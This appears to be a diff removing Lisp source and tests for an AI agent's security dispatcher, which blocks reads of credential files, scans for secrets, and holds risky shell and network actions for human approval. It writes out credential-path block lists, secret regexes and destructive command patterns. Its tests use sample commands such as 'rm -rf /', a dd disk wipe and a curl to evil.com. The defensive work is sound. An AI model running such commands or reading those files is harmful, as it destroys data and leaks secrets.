-(defvar *dispatcher-privacy-tags* - (let ((env (uiop:getenv "PRIVACY_FILTER_TAGS"))) - (if env - (uiop:split-string env :separator '(#\,)) - '("@personal"))) - "Tags marking content as private. Set via PRIVACY_FILTER_TAGS.") - -(defvar *dispatcher-protected-paths* - '(".env" ".env.example" ".env.local" ".env.production" - "*credentials*" "*cred*" - "*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*" - "*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp" - "secring.*" "pubring.*" "private-keys-v1.d/*" - "token*" "*secret*" "*token*" - ".netrc" ".git-credentials" "auth.json" - ".aws/credentials" ".aws/config" - ".kube/config" "kubeconfig" - "*.cert" "*.crt" "*.csr" - "*password*" "*passwd*") - "Path patterns blocked from file reads. -Core file protection (core-*.org, core-*.lisp) handled separately by -dispatcher-check-core-path for self-build safety.") - -(defvar *dispatcher-exposure-patterns* - '((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----") - (:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----") - (:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----") - (:openai-key "sk-[A-Za-z0-9-]{20,}") - (:google-key "AIza[0-9A-Za-z_-]{35}") - (:github-token "gh[pousr]_[A-Za-z0-9]{36,}") - (:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}") - (:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}") - (:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}")) - "Named regex patterns for secret exposure detection.") - -(defvar *dispatcher-shell-timeout* 30 - "Maximum seconds for a shell command before timeout.") - -(defvar *dispatcher-shell-max-output* 100000 - "Maximum characters of shell output to capture.") - -(defvar *dispatcher-shell-blocked* - '((:destructive-rm "\\brm\\s+-rf\\s+/" :severity :catastrophic) - (:destructive-dd "\\bdd\\s+if=" :severity :catastrophic) - (:destructive-mkfs "\\bmkfs\\." :severity :catastrophic) - (:disk-wipe "\\bshred\\s+/dev/" :severity :catastrophic) - (:disk-wipe-b "\\bwipefs\\s+/dev/" :severity :catastrophic) - (:injection-backtick "`[^`]+`" :severity :dangerous) - (:injection-subshell "\\$\\([^)]+\\)" :severity :dangerous)) - "Destructive and injection patterns blocked in shell commands. -Each entry is (name regex :severity tier) where tier is one of: -:catastrophic, :dangerous, :moderate, :harmless.") - -(defun wildcard-match (pattern path) - "Matches PATH against PATTERN where * matches any characters." - (let ((regex (cl-ppcre:regex-replace-all - "\\*" (cl-ppcre:quote-meta-chars pattern) ".*"))) - (cl-ppcre:scan regex path))) - -(defun dispatcher-check-core-path (filepath) - "Returns T if FILEPATH matches a core-* self-build protected pattern." - (when (and filepath (stringp filepath)) - (or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-")) - (cl-ppcre:scan "core-.*\\.(org|lisp)" filepath)))) - -(defun dispatcher-check-secret-path (filepath) - "Returns the matching pattern if FILEPATH matches a protected path, nil otherwise." - (when (and filepath (stringp filepath)) - (some (lambda (pattern) - (when (wildcard-match pattern filepath) - pattern)) - *dispatcher-protected-paths*))) - -(defun dispatcher-exposure-scan (text) - "Scans TEXT for patterns matching known secret formats. -Returns a list of matched category keywords." - (when (and text (stringp text) (> (length text) 0)) - (let ((matches nil)) - (dolist (entry *dispatcher-exposure-patterns*) - (let ((name (first entry)) - (regex (second entry))) - (when (cl-ppcre:scan regex text) - (push name matches)))) - matches))) - -(defun dispatcher-vault-scan (text) - "Scans TEXT for known secrets from the vault." - (when (and text (stringp text)) - (let ((found-secret nil)) - (maphash (lambda (key val) - (when (and val (stringp val) (> (length val) 5)) - (when (search val text) - (setf found-secret key)))) - *vault-memory*) - found-secret))) - -(defun dispatcher-check-privacy-tags (tags-list) - "Returns T if any tag in TAGS-LIST matches a privacy filter tag." - (when (and tags-list (listp tags-list)) - (some (lambda (tag) - (some (lambda (private) - (or (string-equal tag private) - (search private tag :test #'string-equal))) - *dispatcher-privacy-tags*)) - tags-list))) - -(defvar *tag-categories* nil - "Alist of (tag . severity) from TAG_CATEGORIES env var. -Severity: :block (filter), :warn (log+include), :log (silent record).") - -(defvar *tag-trigger-count* (make-hash-table :test 'equal) - "Per-session count of how many times each tag was triggered.") - -(defun tag-trigger-record (tag) - "Increment the trigger count for TAG." - (incf (gethash (string-downcase tag) *tag-trigger-count* 0))) - -(defun tag-categories-load () - "Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist." - (let* ((raw (or (uiop:getenv "TAG_CATEGORIES") - (uiop:getenv "PRIVACY_FILTER_TAGS")))) - (setf *tag-categories* - (when raw - (mapcar (lambda (entry) - (let ((parts (uiop:split-string entry :separator '(#\:)))) - (if (>= (length parts) 2) - (cons (first parts) (intern (string-upcase (second parts)) :keyword)) - (cons entry :block)))) - (uiop:split-string raw :separator '(#\, #\;))))))) - -(defun tag-category-severity (tag) - "Return the severity keyword for TAG, or NIL if not found." - (cdr (assoc tag *tag-categories* :test #'string-equal))) - -(defun dispatcher-privacy-severity (tags-list) - "Return the highest-severity tag match: :block > :warn > :log, or nil. -Records trigger counts for matched tags." - (when (and tags-list (listp tags-list)) - (let ((highest nil)) - (dolist (tag tags-list) - (let ((sev (tag-category-severity tag))) - (when sev - (tag-trigger-record tag)) - (when (or (eq sev :block) - (and (eq sev :warn) (not (eq highest :block))) - (and (eq sev :log) (null highest))) - (setf highest sev)))) - highest))) - -(tag-categories-load) - -(defun dispatcher-check-text-for-privacy (text) - "Scans TEXT for leaked privacy-tagged content." - (when (and text (stringp text)) - (let ((lower (string-downcase text))) - (some (lambda (tag) - (search (string-downcase tag) lower)) - *dispatcher-privacy-tags*)))) - -(defun org-blocks-extract (content) - "Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string." - (when (and content (stringp content)) - (let ((lines (uiop:split-string content :separator '(#\Newline))) - (in-block nil) - (code "")) - (dolist (line lines) - (let ((clean (string-trim '(#\Space #\Tab) line))) - (cond - ((search "#+begin_src lisp" clean) - (setf in-block t)) - ((search "#+end_src" clean) - (setf in-block nil)) - (in-block - (setf code (concatenate 'string code line (string #\Newline))))))) - (when (> (length code) 0) code)))) - -(defun dispatcher-check-lisp-valid (filepath content) - "Validates Lisp syntax when writing .lisp files or Org files with lisp blocks. -Returns the validation result plist or nil if not applicable." - (when (and content (stringp content) (> (length content) 0)) - (let ((to-validate - (cond - ((uiop:string-suffix-p filepath ".lisp") content) - ((uiop:string-suffix-p filepath ".org") (org-blocks-extract content)) - (t nil)))) - (when to-validate - (multiple-value-bind (valid-p err) (ignore-errors - (let ((*read-eval* nil)) - (with-input-from-string (s (format nil "(progn ~a)" to-validate)) - (loop for form = (read s nil :eof) until (eq form :eof))) - (values t nil))) - (unless valid-p - (list :status :error :reason err))))))) - -(defun org-has-defuns-p (content) - "Returns T if the Org content contains any #+begin_src lisp blocks with defuns." - (when (and content (stringp content)) - (search "defun " content :test #'char-equal))) - -(defun dispatcher-check-repl-verified (action filepath content) - "Warns if writing a defun to an Org file without :repl-verified metadata." - (let ((repl-verified (getf action :repl-verified))) - (when (and filepath - (uiop:string-suffix-p filepath ".org") - (org-has-defuns-p content) - (not repl-verified)) - (list :type :LOG - :payload (list :level :warn - :text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath)))))) - -(defun dispatcher-check-shell-safety (cmd) - "Checks a shell command for destructive patterns and injection vectors. -Returns (:matched :severity ) when dangerous patterns found, -or nil if safe. Severity is the highest tier among matched patterns: -:catastrophic > :dangerous > :moderate > :harmless." - (when (and cmd (stringp cmd) (> (length cmd) 0)) - (let ((matches nil) - (severity :harmless)) - (dolist (entry *dispatcher-shell-blocked*) - (let ((name (first entry)) - (regex (second entry)) - (tier (getf entry :severity))) - (when (cl-ppcre:scan regex cmd) - (push name matches) - (setf severity (dispatcher-severity-max severity (or tier :moderate)))))) - (when matches - (list :matched matches :severity severity))))) - -(defvar *dispatcher-severity-order* - (list :harmless 0 :moderate 1 :dangerous 2 :catastrophic 3) - "Severity tier ordering for comparison. Higher = more severe.") - -(defun dispatcher-severity-max (a b) - "Returns the higher of two severity tiers." - (let ((ra (or (getf *dispatcher-severity-order* a) 0)) - (rb (or (getf *dispatcher-severity-order* b) 0))) - (if (>= rb ra) b a))) - -(defun dispatcher-check-network-exfil (cmd) - "Detects if CMD attempts to contact an unwhitelisted external host." - (when (and cmd (stringp cmd)) - (multiple-value-bind (match regs) - (cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd) - (declare (ignore match)) - (when regs - (let ((domain (aref regs 1))) - (not (some (lambda (safe) (search safe domain)) - *dispatcher-network-whitelist*))))))) - -(defun dispatcher-check (action context) - "Security gate for high-risk actions. -Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path, -2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags, -6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval." - (declare (ignore context)) - (let* ((read-only-auto-pass - (let ((tool-name (proto-get (proto-get action :payload) :tool))) - (when (and tool-name (tool-read-only-p tool-name)) - (return-from dispatcher-check action)))) - (target (proto-get action :target)) - (payload (proto-get action :payload)) - (text (or (proto-get payload :text) (proto-get action :text))) - (filepath (or (proto-get payload :filepath) - (when (equal (proto-get payload :tool) "read-file") - (proto-get (proto-get payload :args) :filepath)) - (when (equal (proto-get payload :tool) "write-file") - (proto-get (proto-get payload :args) :filepath)))) - (content (when filepath (proto-get (proto-get payload :args) :content))) - (cmd (or (proto-get payload :cmd) - (when (and (eq target :tool) (equal (proto-get payload :tool) "shell")) - (proto-get (proto-get payload :args) :cmd)))) - (approved (proto-get action :approved)) - (tags (proto-get payload :tags)) - (lisp-valid (when (and filepath content (not approved)) - (dispatcher-check-lisp-valid filepath content))) - (repl-lint (when (and filepath content (not approved)) - (dispatcher-check-repl-verified action filepath content)))) - (cond - (approved action) - - ;; Vector 0: REPL verification lint (warn, don't block) - (repl-lint - (log-message "DISPATCHER: ~a" (proto-get repl-lint :text)) - action) - - ;; Vector 1: Lisp syntax validation (block bad lisp writes) - ((and lisp-valid (eq (getf lisp-valid :status) :error)) - (log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason)) - (dispatcher-block-record :lisp-validation) - (list :type :LOG - :payload (list :level :error - :text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason))))) - - ;; Vector 2: File read to a protected secret path - ((and filepath (dispatcher-check-secret-path filepath)) - (let ((matched (dispatcher-check-secret-path filepath))) - (log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched) - (dispatcher-block-record :secret-path) - (list :type :LOG - :payload (list :level :error - :text (format nil "Action blocked: Attempted read of protected path '~a'" filepath))))) - - ;; Vector 2b: Self-build safety — core file writes require HITL approval - ((and filepath content - (string-equal (uiop:getenv "SELF_BUILD_MODE") "true") - (dispatcher-check-core-path filepath)) - (log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath) - (dispatcher-block-record :self-build-core) - (list :type :EVENT :level :approval-required - :payload (list :sensor :approval-required :action action - :message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath)))) - - ;; Vector 3: Content contains secret patterns - ((and text (dispatcher-exposure-scan text)) - (let ((matched (dispatcher-exposure-scan text))) - (log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched) - (dispatcher-block-record :secret-content) - (list :type :LOG - :payload (list :level :error - :text "Action blocked: Content contains potential secret exposure.")))) - - ;; Vector 4: Content contains vault secrets - ((and text (dispatcher-vault-scan text)) - (let ((secret-name (dispatcher-vault-scan text))) - (log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name) - (dispatcher-block-record :vault-secrets) - (list :type :LOG - :payload (list :level :error - :text (format nil "Action blocked: Potential exposure of '~a'" secret-name))))) - - ;; Vector 5: Privacy-tagged content (severity tiers) - ((and tags (fboundp 'dispatcher-privacy-severity)) - (let ((severity (dispatcher-privacy-severity tags))) - (cond - ((eq severity :block) - (log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags) - (dispatcher-block-record :privacy-tags) - (list :type :LOG - :payload (list :level :error - :text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags)))) - ((eq severity :warn) - (log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags) - action) - ((eq severity :log) - (log-message "PRIVACY: @tag ~a (logged)" tags) - action)))) - - ;; Vector 6: Text leaks privacy tag names - ((and text (dispatcher-check-text-for-privacy text)) - (log-message "PRIVACY WARNING: Text may contain leaked private content") - (dispatcher-block-record :privacy-text) - (list :type :LOG - :payload (list :level :warn - :text "Action blocked: Text may reference private content."))) - - ;; Vector 7: Shell destructive/injection patterns - ((and cmd (dispatcher-check-shell-safety cmd)) - (let ((matched (dispatcher-check-shell-safety cmd))) - (log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched) - (dispatcher-block-record :shell-safety) - (list :type :LOG - :payload (list :level :error - :text (format nil "Shell command blocked: contains unsafe pattern ~a" matched))))) - - ;; Vector 8: Network exfiltration - ((and (or (eq target :shell) - (and (eq target :tool) (equal (proto-get payload :tool) "shell"))) - (dispatcher-check-network-exfil cmd)) - (log-message "SECURITY WARNING: External network call detected. Queuing for approval.") - (dispatcher-block-record :network-exfil) - (list :type :EVENT :level :approval-required - :payload (list :sensor :approval-required :action action))) - - ;; Vector 8b: High-impact action approval - ((or (member target '(:shell)) - (and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=)) - (and (eq target :emacs) (eq (proto-get payload :action) :eval)) - (and (eq target :system) (eq (proto-get payload :action) :eval))) - (log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target)) - (dispatcher-block-record :high-impact-approval) - (list :type :EVENT :payload (list :sensor :approval-required :action action))) - (t action)))) - -(defun dispatcher-approvals-process () - "Scans for APPROVED flight plans and re-injects them." - (let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED")) - (found-any nil)) - (dolist (node approved-nodes) - (let* ((attrs (memory-object-attributes node)) - (tags (getf attrs :TAGS)) - (action-str (getf attrs :ACTION))) - (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str) - (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node)) - (let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str))))) - (when action - (setf (getf action :approved) t) - (stimulus-inject (list :type :EVENT - :payload (list :sensor :approval-required - :action action - :approved t) - :meta (list :source :system))) - (setf (getf (memory-object-attributes node) :TODO) "DONE") - (setq found-any t)))))) - found-any)) - -(defun dispatcher-flight-plan-create (blocked-action) - "Creates a Flight Plan node for manual approval in Emacs." - (let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid))))) - (log-message "DISPATCHER: Creating flight plan node '~a'..." id) - (list :type :REQUEST :target :emacs - :payload (list :action :insert-node :id id - :attributes (list :TITLE "Flight Plan: High-Risk Action" - :TODO "PLAN" :TAGS '("FLIGHT_PLAN") - :ACTION (format nil "~s" blocked-action)))))) - -(defvar *hitl-pending* (make-hash-table :test 'equal) - "Maps correlation token → blocked-action plist for pending HITL approvals.") - -(defun hitl-create (blocked-action) - "Saves a blocked action for HITL approval. Returns a plist with -:token (the correlation ID) and :message (user-facing text)." - (let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8)))) - (setf (gethash token *hitl-pending*) blocked-action) - (log-message "HITL: Created pending approval ~a" token) - (list :token token - :message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token)))) - -(defun hitl-approve (token) - "Approves a pending HITL action by token. Re-injects with :approved t. -Returns T if found and approved, nil if token is invalid." - (let ((action (gethash token *hitl-pending*))) - (if action - (progn - (remhash token *hitl-pending*) - (setf (getf action :approved) t) - (stimulus-inject (list :type :EVENT - :payload (list :sensor :approval-required - :action action - :approved t) - :meta (list :source :system))) - (log-message "HITL: Approved ~a — re-injected" token) - t) - (progn - (log-message "HITL: Token ~a not found in pending" token) - nil)))) - -(defun hitl-deny (token) - "Denies a pending HITL action by token. Removes it from the pending store. -Returns T if found, nil if token is invalid." - (if (gethash token *hitl-pending*) - (progn - (remhash token *hitl-pending*) - (log-message "HITL: Denied ~a" token) - t) - (progn - (log-message "HITL: Token ~a not found in pending" token) - nil))) - -(defun hitl-handle-message (text &optional source) - "Checks if TEXT is a HITL approval or denial command. -If it matches, processes the command and returns T. -Otherwise returns nil (text should be handled as normal input). -Recognized formats: - /approve HITL-abc123 - /deny HITL-abc123 - approve HITL-abc123 - deny HITL-abc123" - (let ((text (string-trim '(#\Space) (or text "")))) - (when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text)) - (uiop:string-prefix-p (string-downcase "approve") (string-downcase text))) - (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab))) - (token (when (> (length parts) 1) (second parts)))) - (when (and token (hitl-approve token)) - (log-message "HITL: Approved via ~a — ~a" (or source :unknown) token) - (return-from hitl-handle-message t)))) - (when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text)) - (uiop:string-prefix-p (string-downcase "deny") (string-downcase text))) - (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab))) - (token (when (> (length parts) 1) (second parts)))) - (when (and token (hitl-deny token)) - (log-message "HITL: Denied via ~a — ~a" (or source :unknown) token) - (return-from hitl-handle-message t)))) - nil)) - -(defun dispatcher-gate (action context) - "Main deterministic gate for the Security Dispatcher skill." - (let* ((payload (getf context :payload)) - (sensor (getf payload :sensor))) - (case sensor - (:approval-required - (dispatcher-flight-plan-create (getf payload :action))) - (:heartbeat - (dispatcher-approvals-process) - (if action (dispatcher-check action context) action)) - (otherwise - (if action (dispatcher-check action context) action))))) - -(defskill :passepartout-security-dispatcher - :priority 150 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic #'dispatcher-gate) - -(defvar *dispatcher-block-counts* (make-hash-table :test 'equal) - "Per-gate block count: maps gate keyword → integer.") - -(defun dispatcher-block-record (gate-name) - "Records a block decision for GATE-NAME. Returns the updated count." - (let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0)))) - (setf (gethash gate-name *dispatcher-block-counts*) count) - count)) - -(defun dispatcher-block-counts-summary () - "Returns plist (:total :by-gate (( . ) ...))." - (let* ((by-gate - (loop for k being the hash-keys of *dispatcher-block-counts* - for v = (gethash k *dispatcher-block-counts*) - collect (cons k v))) - (total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0)) - (sorted (sort (copy-list by-gate) #'> :key #'cdr))) - (list :total total :by-gate sorted))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-dispatcher-tests - (:use :cl :fiveam :passepartout) - (:export #:dispatcher-suite)) - -(in-package :passepartout-security-dispatcher-tests) - -(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") -(in-suite dispatcher-suite) - -(test test-wildcard-match - "Contract 1: wildcard pattern * matches any characters." - (is (wildcard-match "*.env" ".env")) - (is (wildcard-match "*.env" "prod.env")) - (is (wildcard-match "*credential*" "my-credential-file")) - (is (wildcard-match "*.key" "id_rsa.key")) - (is (not (wildcard-match "*.env" "config.yaml")))) - -(test test-check-secret-path - "Contract 2: dispatcher-check-secret-path matches protected patterns." - (is (dispatcher-check-secret-path ".env")) - (is (dispatcher-check-secret-path "id_rsa")) - (is (not (dispatcher-check-secret-path "README.org")))) - -(test test-self-build-core-protection - "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." - ;; Core paths are recognized - (is (passepartout::dispatcher-check-core-path "core-reason.org")) - (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) - (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) - ;; With SELF_BUILD_MODE=true, core writes produce approval-required - (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let ((result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false")) - ;; With SELF_BUILD_MODE=false (default), writes pass through - (let ((result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type)))))) - -(test test-check-shell-safety - "Contract 3: dispatcher-check-shell-safety detects dangerous commands." - (is (dispatcher-check-shell-safety "rm -rf /")) - (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) - (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) - (is (not (dispatcher-check-shell-safety "echo hello world"))) - (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) - -(test test-shell-safety-severity-catastrophic - "Contract 3/v0.4.3: destructive commands return :catastrophic severity." - (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) - (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) - (is (eq :catastrophic (getf r1 :severity))) - (is (eq :catastrophic (getf r2 :severity))))) - -(test test-shell-safety-severity-dangerous - "Contract 3/v0.4.3: injection patterns return :dangerous severity." - (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) - (is (eq :dangerous (getf result :severity))))) - -(test test-shell-safety-severity-safe - "Contract 3/v0.4.3: harmless commands return nil." - (is (null (dispatcher-check-shell-safety "echo hello world"))) - (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) - (is (null (dispatcher-check-shell-safety "cat file.txt")))) - -(test test-dispatcher-severity-max - "dispatcher-severity-max returns the higher tier." - (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) - (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) - (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) - (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) - -(test test-check-privacy-tags - "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." - (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) - (is (dispatcher-check-privacy-tags '("@personal"))) - (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) - -(test test-check-network-exfil - "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." - (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) - (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) - (is (not (dispatcher-check-network-exfil "echo hello")))) - -;; ── v0.7.2 Tag Stack ── - -(test test-tag-categories-load - "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." - (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") - (passepartout::tag-categories-load) - (let ((cats passepartout::*tag-categories*)) - (is (>= (length cats) 1)) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :warn (passepartout::tag-category-severity "@draft"))) - (is (eq :log (passepartout::tag-category-severity "@review")))) - (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) - -(test test-tag-category-severity-unknown - "Contract v0.7.2: unknown tag returns nil." - (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) - -(test test-privacy-severity-block - "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." - (setf passepartout::*tag-categories* '(("@personal" . :block))) - (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) - -(test test-privacy-severity-warn - "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." - (setf passepartout::*tag-categories* '(("@draft" . :warn))) - (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) - -(test test-privacy-severity-nil - "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." - (setf passepartout::*tag-categories* nil) - (is (null (passepartout::dispatcher-privacy-severity '("public"))))) - -(test test-tag-trigger-record - "v0.7.2: tag-trigger-record increments per-tag count." - (clrhash passepartout::*tag-trigger-count*) - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@draft") - (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) - (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) - (clrhash passepartout::*tag-trigger-count*)) - -(test test-tag-categories-privacy-fallback - "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." - (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) - (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) - (saved-tag (uiop:getenv "TAG_CATEGORIES")) - (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) - ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES - (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) - (sb-posix:unsetenv "TAG_CATEGORIES") - (passepartout::tag-categories-load) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :block (passepartout::tag-category-severity "@draft"))) - ;; Restore - (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) - (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) - (passepartout::tag-categories-load))) - -(test test-safe-tool-read-only-auto-approve - "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." - (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "test-ro-tool" - :description "Read-only test" - :parameters nil - :guard nil - :body nil - :read-only-p t)) - (unwind-protect - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) - (result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type))) - (is (not (member (getf result :type) '(:LOG :approval-required))))) - (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) - -(test test-safe-tool-write-still-checked - "Contract v0.7.2: write tools still go through full dispatcher check." - (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "write-file" - :description "File writer" - :parameters nil - :guard nil - :body nil - :read-only-p nil)) - (unwind-protect - (progn - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) - (result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (is (search "HITL" (getf (getf result :payload) :message))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false") - (if orig-tool - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) - (remhash "write-file" passepartout::*cognitive-tool-registry*))))) -#+end_src* v0.8.0 Tests — Block Counts -#+begin_src lisp -(in-package :passepartout-security-dispatcher-tests) - -(test test-block-record-increments - "Contract 10: dispatcher-block-record increments per-gate count." - (clrhash passepartout::*dispatcher-block-counts*) - (is (= 1 (passepartout::dispatcher-block-record :shell-safety))) - (is (= 2 (passepartout::dispatcher-block-record :shell-safety))) - (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*)))) - -(test test-block-counts-summary - "Contract 11: dispatcher-block-counts-summary returns total and by-gate." - (clrhash passepartout::*dispatcher-block-counts*) - (passepartout::dispatcher-block-record :shell-safety) - (passepartout::dispatcher-block-record :shell-safety) - (passepartout::dispatcher-block-record :secret-path) - (let ((s (passepartout::dispatcher-block-counts-summary))) - (is (= 3 (getf s :total))) - (let ((by-gate (getf s :by-gate))) - (is (= 2 (cdr (assoc :shell-safety by-gate)))) - (is (= 1 (cdr (assoc :secret-path by-gate))))))) - -(test test-block-counts-empty - "Contract 11: dispatcher-block-counts-summary returns zero when no blocks." - (clrhash passepartout::*dispatcher-block-counts*) - (let ((s (passepartout::dispatcher-block-counts-summary))) - (is (= 0 (getf s :total))) - (is (null (getf s :by-gate))))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-dispatcher-tests - (:use :cl :fiveam :passepartout) - (:export #:dispatcher-suite)) - -(in-package :passepartout-security-dispatcher-tests) - -(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") -(in-suite dispatcher-suite) - -(test test-wildcard-match - "Contract 1: wildcard pattern * matches any characters." - (is (wildcard-match "*.env" ".env")) - (is (wildcard-match "*.env" "prod.env")) - (is (wildcard-match "*credential*" "my-credential-file")) - (is (wildcard-match "*.key" "id_rsa.key")) - (is (not (wildcard-match "*.env" "config.yaml")))) - -(test test-check-secret-path - "Contract 2: dispatcher-check-secret-path matches protected patterns." - (is (dispatcher-check-secret-path ".env")) - (is (dispatcher-check-secret-path "id_rsa")) - (is (not (dispatcher-check-secret-path "README.org")))) - -(test test-self-build-core-protection - "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." - ;; Core paths are recognized - (is (passepartout::dispatcher-check-core-path "core-reason.org")) - (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) - (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) - ;; With SELF_BUILD_MODE=true, core writes produce approval-required - (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let ((result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false")) - ;; With SELF_BUILD_MODE=false (default), 